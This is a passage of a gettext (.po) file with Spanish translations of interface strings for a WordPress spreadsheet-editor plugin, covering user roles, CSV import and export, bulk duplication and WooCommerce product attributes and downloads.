msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " "duplicar." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Habilitar nueva hoja de cálculo" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Post type eliminado" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:14 msgid "Set up Spreadsheet" msgstr "Generar hoja de cálculo" #: spreadsheet-setup/views/page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:41 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por " "favor, sigue estos pasos." #: spreadsheet-setup/views/page.php:32 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "¿Seguro de que quieres borrar este post type? También borrarás los post en " "el post type" #: spreadsheet-setup/views/page.php:36 #: wp-sheet-editor/dev/views/quick-setup.php:48 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Selecciona la información que quieres editar con el editor de hojas de " "cálculo." #: spreadsheet-setup/views/page.php:39 msgid "Add new post type" msgstr "Añadir un nuevo post type" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:194 #: wp-sheet-editor/dev/views/settings-form.php:96 msgid "Advanced settings" msgstr "Configuración avanzada" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Etiqueta" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Clave" #: universal-sheet/inc/csv-api.php:174 msgid "Allow to import images from FTP servers?" msgstr "¿Permitir la importación de imágenes desde servidores FTP?" #: universal-sheet/inc/csv-api.php:175 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Por defecto, el importador permite guardar imágenes usando URLs internas " "completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e " "IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: " "ftp://user:password@host:port/path/to/image.png. Esto hará que la " "importación sea más lenta" #: universal-sheet/inc/csv-api.php:181 msgid "FTP Images: Skip images with same file name?" msgstr "Imágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?" #: universal-sheet/inc/csv-api.php:182 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada " "vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita " "esta opción para reutilizar las imágenes de la biblioteca multimedia con el " "mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras " "importaciones. Desactiva esta opción si quieres mantener las imágenes " "actualizadas en futuras importaciones." #: universal-sheet/inc/csv-api.php:202 msgid "" "The exported file does not exist. This could happen for the following " "reasons:" msgstr "" "El archivo exportado no existe. Esto puede ocurrir por las siguientes " "razones:" #: universal-sheet/inc/csv-api.php:204 msgid "" "If you are trying to download something that was exported several hours ago, " "the file might have expired. Files expire after %s hours." msgstr "" "Si estás intentando descargar algo que se exportó hace varias horas, es " "posible que el archivo haya caducado. Los archivos caducan al cabo de %s " "horas." #: universal-sheet/inc/csv-api.php:205 msgid "" "Maybe your server did not allow us to create the file. It happens if your " "server is not configured correctly and our folder %s does not have write " "permissions, so we're not able to create the file. You should request help " "from your hosting provider." msgstr "" "Tal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor " "no está configurado correctamente y nuestra carpeta %s no tiene permisos de " "escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda " "a tu proveedor de hosting." #: universal-sheet/inc/csv-api.php:379 msgid "Missing required field \"data\"." msgstr "\"Datos\" del campo requerido faltantes." #: universal-sheet/inc/csv-api.php:469 msgid "Missing required field. Please start the process again." msgstr "Campo requerido faltante. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:473 msgid "Writing type not allowed." msgstr "Tipo de escritura no permitida." #: universal-sheet/inc/csv-api.php:477 msgid "Not allowed." msgstr "No está permitido." #: universal-sheet/inc/csv-api.php:571 msgid "The import is completed." msgstr "La importación se ha completado." #: universal-sheet/inc/csv-api.php:790 msgid "" "%1$d of %2$d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas " "actualizadas y {total_created} filas creadas." #: universal-sheet/inc/csv-api.php:817 msgid "Not allowed. Please start the process again." msgstr "No permitido. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:836 msgid "Wrong file url" msgstr "URL del archivo incorrecta" #: universal-sheet/inc/csv-api.php:840 universal-sheet/inc/csv-api.php:860 #: universal-sheet/inc/csv-api.php:891 msgid "Wrong file extension. We accept CSV only" msgstr "Extensión del archivo incorrecta. Sólo aceptamos archivos CSV" #: universal-sheet/inc/csv-api.php:855 universal-sheet/inc/csv-api.php:898 msgid "File could not be uploaded. Please start the process again." msgstr "" "No se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo." #: universal-sheet/inc/csv-api.php:868 msgid "Wrong data format" msgstr "Formato de datos incorrecto" #: universal-sheet/inc/csv-api.php:887 msgid "The file doesn't exist. Invalid path: %s" msgstr "El archivo no existe. Ruta inválida: %s" #: universal-sheet/inc/csv-api.php:907 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una " "codificación incorrecta. Si editaste el archivo en Excel, verifica que se " "guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares " "externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo " "los valores y no el formato para evitar pegar caracteres inválidos." #: universal-sheet/inc/csv-api.php:1098 msgid "Processing: %1$d of %2$d rows have been exported." msgstr "Procesando: Se han exportado %1$d de %2$d filas." #: universal-sheet/inc/csv-api.php:1113 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  La exportación finalizó.

                  La descarga debería empezar automáticamente." #: universal-sheet/inc/csv-api.php:1115 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor/exports/ on your server.

                  The export " "files are deleted automatically after %d hours." msgstr "" " Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /" "wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los " "archivos de exportación se borran automáticamente después de %d horas." #: universal-sheet/universal-sheet.php:61 #: universal-sheet/universal-sheet.php:72 #, fuzzy #| msgid "- -" msgid "--" msgstr "- -" #: universal-sheet/universal-sheet.php:62 msgid "CSV file from my computer" msgstr "Archivo CSV desde mi computadora" #: universal-sheet/universal-sheet.php:63 msgid "CSV file from url" msgstr "Archivo CSV desde una URL" #: universal-sheet/universal-sheet.php:64 msgid "Copy & paste from another spreadsheet or table" msgstr "Copiar y pegar desde otra hoja de cálculo o tabla" #: universal-sheet/universal-sheet.php:65 msgid "CSV file in the server" msgstr "Archivo CSV en el servidor" #: universal-sheet/universal-sheet.php:73 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/universal-sheet.php:74 msgid "Google Sheets" msgstr "Hojas de Cálculo de Google" #: universal-sheet/universal-sheet.php:75 msgid "Other" msgstr "Otro" #: universal-sheet/universal-sheet.php:78 msgid "Older versions of Microsoft Excel" msgstr "Versiones más antiguas de Microsoft Excel" #: universal-sheet/universal-sheet.php:124 msgid "Ignore this column" msgstr "Ignorar esta columna" #: universal-sheet/universal-sheet.php:132 #: universal-sheet/views/import-modal.php:147 msgid "Full URL" msgstr "URL Completa" #: universal-sheet/universal-sheet.php:172 msgid "Export" msgstr "Exportar" #: universal-sheet/universal-sheet.php:197 msgid "Download CSV file" msgstr "Descargar archivo CSV" #: universal-sheet/universal-sheet.php:205 msgid "Import" msgstr "Importar" #: universal-sheet/views/export-modal.php:9 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de exportación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/export-modal.php:12 #: universal-sheet/views/export-modal.php:21 msgid "Export to CSV" msgstr "Exportar a un archivo CSV" #: universal-sheet/views/export-modal.php:25 msgid "What columns do you want to export?" msgstr "¿Qué columnas quieres exportar?" #: universal-sheet/views/export-modal.php:33 msgid "Select active columns" msgstr "Seleccionar columnas habilitadas" #: universal-sheet/views/export-modal.php:34 woocommerce/inc/attributes.php:324 #: woocommerce/inc/attributes.php:356 msgid "Select all" msgstr "Seleccionar todas" #: universal-sheet/views/export-modal.php:35 msgid "Unselect all" msgstr "Deseleccionar todas" #: universal-sheet/views/export-modal.php:40 msgid "Which rows do you want to export?" msgstr "¿Qué filas quieres exportar?" #: universal-sheet/views/export-modal.php:42 msgid "All the rows from my current search" msgstr "Todas las filas de mi lista actual" #: universal-sheet/views/export-modal.php:43 msgid "Rows that I selected manually with the checkbox" msgstr "Las filas que he seleccionado manualmente en la hoja de cálculo" #: universal-sheet/views/export-modal.php:48 msgid "What app will you use to edit this file? (optional)" msgstr "¿Qué aplicación usarás para editar este archivo CSV? (opcional)" #: universal-sheet/views/export-modal.php:66 #: wp-sheet-editor/dev/inc/api/editor.php:305 msgid "Name of this export (optional)" msgstr "Nombre de esta exportación (opcional)" #: universal-sheet/views/export-modal.php:66 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Guardaremos la consulta de búsqueda actual y la configuración de la " "exportación, y podrás ejecutar esta exportación con un solo clic en el " "futuro usando el desplegable del menú de exportación" #: universal-sheet/views/export-modal.php:83 msgid "Start new export" msgstr "Iniciar nueva exportación" #: universal-sheet/views/import-modal.php:10 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "La función de importación no es compatible con tu sitio web. Asegúrate de " "que WordPress y todos los plugins y temas estén actualizados." #: universal-sheet/views/import-modal.php:13 #: universal-sheet/views/import-modal.php:24 msgid "Import csv" msgstr "Importar CSV" #: universal-sheet/views/import-modal.php:26 msgid "Source" msgstr "Fuente" #: universal-sheet/views/import-modal.php:38 msgid "CSV file" msgstr "Archivo CSV" #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:45 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:61 #: universal-sheet/views/import-modal.php:99 #: universal-sheet/views/import-modal.php:168 msgid "Next" msgstr "Siguiente" #: universal-sheet/views/import-modal.php:48 msgid "Copy and Paste into the spreadsheet below" msgstr "Copiar y pegar en la siguiente hoja de cálculo" #: universal-sheet/views/import-modal.php:54 msgid "CSV file location" msgstr "Ubicación del archivo CSV" #: universal-sheet/views/import-modal.php:54 msgid "" "You must enter a file name in this field (not full path) and upload the file " "to the folder %s" msgstr "" "Debes ingresar un nombre de archivo en este campo (no la ruta completa) y " "subir el archivo a la carpeta %s" #: universal-sheet/views/import-modal.php:65 #: universal-sheet/views/import-modal.php:177 msgid "Show advanced options" msgstr "Mostrar opciones avanzadas" #: universal-sheet/views/import-modal.php:68 msgid "Separator" msgstr "Separador" #: universal-sheet/views/import-modal.php:73 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Consejo. Puedes usar la herramienta \"Exportar\" para descargar un archivo " "CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí." #: universal-sheet/views/import-modal.php:79 msgid "Select columns to import" msgstr "Selecciona las columnas a importar" #: universal-sheet/views/import-modal.php:80 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Importante. Sólo hemos detectado una columna en el archivo CSV. Si esto es " "incorrecto, sigue estos pasos para " "arreglarlo." #: universal-sheet/views/import-modal.php:81 msgid "We automatically detected all the columns." msgstr "Detectamos todas las columnas automáticamente" #: universal-sheet/views/import-modal.php:81 msgid "Import all the columns" msgstr "Importar todas las columnas" #: universal-sheet/views/import-modal.php:81 msgid "or" msgstr "o" #: universal-sheet/views/import-modal.php:81 msgid "Select individual columns to import" msgstr "Seleccionar columnas individuales a importar" #: universal-sheet/views/import-modal.php:83 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Consejo. Si has editado información de este sitio, debes importar las " "columnas editadas y el record_id. No importes columnas que no hayan sido " "modificadas" #: universal-sheet/views/import-modal.php:85 msgid "Unselect all columns" msgstr "Deseleccionar todas las columnas" #: universal-sheet/views/import-modal.php:86 msgid "CSV Column" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:86 msgid "WordPress field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:88 msgid "Example: " msgstr "Ejemplo: " #: universal-sheet/views/import-modal.php:97 msgid "Remember this column mapping configuration?" msgstr "¿Recordar esta configuración de columnas para futuras importaciones?" #: universal-sheet/views/import-modal.php:98 #: universal-sheet/views/import-modal.php:167 #: universal-sheet/views/import-modal.php:202 msgid "Previous" msgstr "Anterior" #: universal-sheet/views/import-modal.php:102 msgid "Do you want to update or create items?" msgstr "¿Quieres actualizar o crear filas?" #: universal-sheet/views/import-modal.php:105 msgid "Create new items and update existing items" msgstr "Crear nuevas filas y actualizar las filas existentes" #: universal-sheet/views/import-modal.php:106 msgid "Import all rows as new" msgstr "Importar todas las filas como nuevas" #: universal-sheet/views/import-modal.php:107 msgid "Only create new items, ignore existing items" msgstr "Sólo crear las filas nuevas, ignorar las filas existentes" #: universal-sheet/views/import-modal.php:108 msgid "Update existing items, ignore new items" msgstr "Actualizar las filas existentes, ignorar las filas nuevas" #: universal-sheet/views/import-modal.php:111 msgid "How do we find existing items to update?" msgstr "¿Cómo debemos encontrar los elementos existentes a editar?" #: universal-sheet/views/import-modal.php:115 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo " "en WP.
                  Por ejemplo, productos con el mismo SKU o ID." #: universal-sheet/views/import-modal.php:117 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Seleccionaste una columna del archivo CSV de abajo, pero la columna no está " "
                  siendo importada. Por favor, ve al paso anterior y selecciona la " "columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos " "existentes con el mismo ID, necesitas importar la columna ID, de lo " "contrario no tenemos los ID para encontrarlos." #: universal-sheet/views/import-modal.php:119 msgid "CSV Field" msgstr "Columna en el CSV" #: universal-sheet/views/import-modal.php:125 msgid "WordPress Field" msgstr "Campo en WordPress" #: universal-sheet/views/import-modal.php:154 msgid "Field 2: CSV Field" msgstr "Campo 2: Columna en el CSV" #: universal-sheet/views/import-modal.php:160 msgid "Field 2: WordPress Field" msgstr "Campo 2: Campo en WordPress" #: universal-sheet/views/import-modal.php:171 msgid "Final step" msgstr "Paso final" #: universal-sheet/views/import-modal.php:172 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las " "primeras 5 filas del archivo." #: universal-sheet/views/import-modal.php:174 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Por favor, haz una copia de seguridad antes de ejecutar la importación, " "para que puedas revertirla en caso de que hayas usado una configuración " "incorrecta o el archivo sea erróneo. La importación guardará la información " "directamente." #: universal-sheet/views/import-modal.php:180 msgid "Number of rows to process per batch:" msgstr "Número de filas a procesar por lote:" #: universal-sheet/views/import-modal.php:180 msgid "Leave empty to use the global settings." msgstr "Déjalo vacío para usar los ajustes globales." #: universal-sheet/views/import-modal.php:184 msgid "Start from row number:" msgstr "Comenzar desde este número de fila:" #: universal-sheet/views/import-modal.php:184 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Si detienes una importación para editar el archivo CSV o cambias la " "velocidad de importación, puedes iniciar una nueva importación y continuar " "desde donde la dejaste." #: universal-sheet/views/import-modal.php:188 msgid "Decode quotes?" msgstr "¿Decodificar las comillas?" #: universal-sheet/views/import-modal.php:191 msgid "Auto retry failed batches?" msgstr "¿Reintentar automáticamente los lotes fallidos?" #: universal-sheet/views/import-modal.php:191 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de " "segundos). Cuando un lote falla, normalmente pausamos la importación y te " "preguntamos si quieres volver a intentarlo o cancelar la importación. " "Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay " "que seleccionar la opción de actualizar las filas existentes en el paso 3 de " "la importación, para que podamos reintentar y omitir lo que se importó con " "éxito y sólo reintentar lo que falló. Si no se selecciona la opción de " "actualizar en el paso 3 de la importación, cada reintento podría duplicar " "algunas filas previamente importadas." #: universal-sheet/views/import-modal.php:195 msgid "Set post status to \"pending\" if featured image saving failed?" msgstr "" "¿Guardar con estado \"Pendiente\" si el guardado de la imagen destacada " "falló?" #: universal-sheet/views/import-modal.php:195 msgid "" "This option works only if you are importing the featured image column and " "saving the featured image failed." msgstr "" "Esta opción aplica solo si estás importando la columna de imagen destacada y " "falla el guardado de la imagen." #: universal-sheet/views/import-modal.php:214 msgid "The preview is fine, start import" msgstr "La vista previa está bien, iniciar importación" #: universal-sheet/views/import-modal.php:215 msgid "Cancel import" msgstr "Cancelar la importación" #: universal-sheet/views/import-modal.php:218 msgid "Importing" msgstr "Importando" #: universal-sheet/views/import-modal.php:226 msgid "View log" msgstr "Ver registro" #: woocommerce/inc/attributes.php:69 woocommerce/inc/attributes.php:715 msgid "Product attributes" msgstr "Atributos del producto" #: woocommerce/inc/attributes.php:266 msgid "Change attribute settings" msgstr "Cambiar los ajustes de los atributos" #: woocommerce/inc/attributes.php:274 msgid "What setting do you want to change?" msgstr "¿Qué ajuste quieres cambiar?" #: woocommerce/inc/attributes.php:276 msgid "Is Visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:276 msgid "Used for Variations?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/attributes.php:279 msgid "New value" msgstr "Nuevo valor" #: woocommerce/inc/attributes.php:284 msgid "What attribute do you want to edit?" msgstr "¿Qué atributo quieres editar?" #: woocommerce/inc/attributes.php:292 msgid "Replace a default attribute term" msgstr "Reemplazar un término de atributo por defecto" #: woocommerce/inc/attributes.php:300 msgid "Enter the attribute name" msgstr "Ingresa el nombre del atributo" #: woocommerce/inc/attributes.php:301 msgid "" "If this is a global attribute, enter the attribute key (i.e. pa_color). " "Enter the name if this is a custom attribute." msgstr "" "Si se trata de un atributo global, ingresa la clave del atributo (por " "ejemplo, pa_color). Ingresa el nombre si se trata de un atributo " "personalizado." #: woocommerce/inc/attributes.php:305 msgid "Replace this term" msgstr "Reemplazar este término" #: woocommerce/inc/attributes.php:307 msgid "Enter the term name or slug." msgstr "Ingresa el nombre o el slug del término." #: woocommerce/inc/attributes.php:310 msgid "With this term" msgstr "Con este término" #: woocommerce/inc/attributes.php:312 msgid "Leave this empty if you want to unset the term." msgstr "Deja este campo vacío si quieres anular el término." #: woocommerce/inc/attributes.php:671 msgid "Custom attribute: %s" msgstr "Atributo personalizado: %s" #: woocommerce/inc/attributes.php:684 msgid "Enter multiple attributes separated by |" msgstr "Ingresa varios atributos separados por |" #: woocommerce/inc/attributes.php:729 woocommerce/inc/attributes.php:731 msgid "Edit attributes" msgstr "Editar atributos" #: woocommerce/inc/attributes.php:732 msgid "" "Note: Separate values with the character %1$s
                  We recommend using Global " "Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have " "their own columns in the spreadsheet. You can edit them in the columns " "(faster) or using this popup.
                  If you are editing the attributes of variations, the variation " "must be enabled, otherwise the attributes won't be saved." msgstr "" "Nota: Separa los valores con el caracter %1$s
                  Te recomendamos usar " "Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales " "tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las " "columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la " "variación debe estar habilitada. De lo contrario, los atributos no se " "guardarán." #: woocommerce/inc/attributes.php:779 msgid "Position" msgstr "Posición" #: woocommerce/inc/attributes.php:779 msgid "Is visible?" msgstr "¿Es visible?" #: woocommerce/inc/attributes.php:779 msgid "Used for variation?" msgstr "¿Usado para variaciones?" #: woocommerce/inc/downloadable.php:110 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:667 msgid "Downloadable" msgstr "Descargable" #: woocommerce/inc/downloadable.php:132 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:801 msgid "Download limit" msgstr "Límite de descargas" #: woocommerce/inc/downloadable.php:148 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:813 msgid "Download expiry" msgstr "Caducidad de la descarga" #: woocommerce/inc/downloadable.php:164 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:825 msgid "Download type" msgstr "Tipo de descarga" #: woocommerce/inc/downloadable.php:171 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:829 msgid "Standard Product" msgstr "Producto estándar" #: woocommerce/inc/downloadable.php:172 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:830 msgid "Application/Software" msgstr "Aplicación/Software" #: woocommerce/inc/downloadable.php:173 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:831 msgid "Music" msgstr "Música" #: woocommerce/inc/downloadable.php:186 msgid "Download files : names" msgstr "Archivos descargables: Nombres" #: woocommerce/inc/downloadable.php:194 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa " "varios nombres separados por comas." #: woocommerce/inc/downloadable.php:206 msgid "Download files : URLs" msgstr "Archivos descargables: URLs" #: woocommerce/inc/downloadable.php:213 msgid "Enter multiple URLs separated by commas" msgstr "Ingresa múltiples URLs separadas por comas" #: woocommerce/inc/downloadable.php:229 woocommerce/inc/downloadable.php:233 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:840 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:844 msgid "Download files" msgstr "Archivos descargables" #: woocommerce/inc/downloadable.php:231 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:842 msgid "Edit files" msgstr "Editar archivos" #: woocommerce/inc/downloadable.php:234 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Copiar archivos de este producto: (Necesitas guardar los cambios después.)" #: woocommerce/inc/downloadable.php:234 #: woocommerce/views/spreadsheet-create-variations-modal.php:21 #: woocommerce/views/spreadsheet-create-variations-modal.php:48 #: woocommerce/views/spreadsheet-create-variations-modal.php:89 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:845 msgid "Select product..." msgstr "Seleccionar producto...." #: woocommerce/inc/downloadable.php:258 woocommerce/inc/downloadable.php:259 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 msgid "File (url or path)" msgstr "Archivo (URL o ruta)" #: woocommerce/inc/downloadable.php:289 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Guardaremos estos archivos. Los archivos existentes se sobrescribirán. " "Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas " "por comas." #: woocommerce/inc/downloadable.php:293 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Añadiremos el nuevo archivo al inicio de los archivos existentes en los " "productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs " "separadas por comas." #: woocommerce/inc/downloadable.php:371 woocommerce/inc/variations.php:1317 msgid "Please select a product." msgstr "Por favor, selecciona un producto." #: woocommerce/inc/downloadable.php:401 msgid "Files saved." msgstr "Archivos guardados." #: woocommerce/inc/downloadable.php:404 msgid "The files could not be saved." msgstr "Los archivos no se pudieron guardar." #: woocommerce/inc/formatting.php:57 msgid "" "The \"Regular price\" column is hidden now. Please enable it in the columns " "manager before running this bulk edit." msgstr "" "La columna \"Precio normal\" está oculta. Actívala en el gestor de columnas " "antes de realizar esta edición masiva." #: woocommerce/inc/import-export.php:97 woocommerce/woocommerce.php:701 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:498 msgid "Type" msgstr "Tipo" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:98 woocommerce/inc/import-export.php:196 #: woocommerce/woocommerce.php:403 msgid "Attribute %d name" msgstr "Nombre del atributo %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:99 woocommerce/inc/import-export.php:197 #: woocommerce/woocommerce.php:405 msgid "Attribute %d value(s)" msgstr "Valor del/los atributo(s) %d" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:100 woocommerce/inc/import-export.php:198 #: woocommerce/woocommerce.php:407 msgid "Attribute %d visible" msgstr "Atributo %d visible" #. translators: %d: Attribute number #: woocommerce/inc/import-export.php:101 woocommerce/inc/import-export.php:199 #: woocommerce/woocommerce.php:409 msgid "Attribute %d global" msgstr "Atributo %d global" #. translators: %d: Attribute 